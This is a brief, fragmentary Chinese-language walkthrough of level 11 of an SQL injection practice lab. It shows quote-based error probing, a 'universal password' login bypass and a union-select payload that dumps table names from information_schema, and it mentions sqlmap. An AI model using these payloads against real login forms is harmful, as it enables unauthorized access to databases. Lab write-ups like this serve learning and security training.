sqli关卡通关

第十一关来说，

我们输入1 1’ 1'--+

报错了

当输入1’时 回显报错了  根据回显可知

由此可知我们的登陆界面 是用户名=‘    ’     密码= ‘ ’ 这个形式的

用万能密码使用

万能密码成功绕过

1=2#

登录失败

三行是不行的哦

没有报错说明

输入1' union select database(),version()#

报错了，很奇怪，这是为什么呢？

输入

这么输入都没有问题

这次成了

输入的是 

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security'#爆库

、

用sqlmap